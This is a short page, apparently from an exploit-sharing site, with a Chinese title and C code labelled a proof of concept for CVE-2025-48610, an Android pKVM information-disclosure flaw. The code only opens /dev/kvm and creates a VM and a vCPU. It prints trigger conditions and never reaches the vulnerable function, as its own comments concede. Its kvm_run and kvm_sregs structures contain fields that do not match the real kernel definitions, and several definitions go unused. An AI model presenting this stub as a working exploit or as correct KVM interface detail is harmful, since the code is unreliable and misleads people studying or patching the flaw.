CVE-2025-48610 Android pKVM配置数据泄露漏洞

// CVE-2025-48610 PoC - Information Disclosure in pKVM // This PoC demonstrates the concept of triggering the vulnerable code path // Note: Actual exploitation requires specific kernel debugging setup #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // KVM ioctl definitions #define KVM_CREATE_VM 0xAE01 #define KVM_CREATE_VCPU 0xAE41 #define KVM_SET_REGS 0x4090AE82 #define KVM_RUN 0xAE80 struct kvm_run { __u8 delay_slot; __u8 instruction_valid; __u8 cr0; __u8 pending_exception; __u32 cr8; __u64 pc; __u64 regs[16]; }; struct kvm_sregs { __u64 cs_base; __u64 ds_base; __u64 es_base; __u64 fs_base; __u64 gs_base; __u64 ss_base; }; int main() { int kvm_fd, vm_fd, vcpu_fd; // Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("Failed to open /dev/kvm"); return 1; } // Check if pKVM is available (protected VM support) int api_cap = ioctl(kvm_fd, 0xAE00); // KVM_GET_API_VERSION printf("KVM API Version: %d\n", api_cap); // Create VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("Failed to create VM"); return 1; } // Create vCPU vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) { perror("Failed to create vCPU"); return 1; } printf("[*] Attempting to trigger __pkvm_guest_relinquish_to_host\n"); printf("[*] This vulnerability allows configuration data disclosure\n"); printf("[*] Trigger conditions:\n"); printf(" - Local access to the system\n"); printf(" - Low privilege user account\n"); printf(" - Trigger VM exit and return to host\n"); // The actual exploitation requires triggering the specific code path // in __pkvm_guest_relinquish_to_host which has a logic error // causing configuration data to be leaked // For demonstration, this shows the attack setup // Actual PoC would require kernel debugging and memory inspection close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }
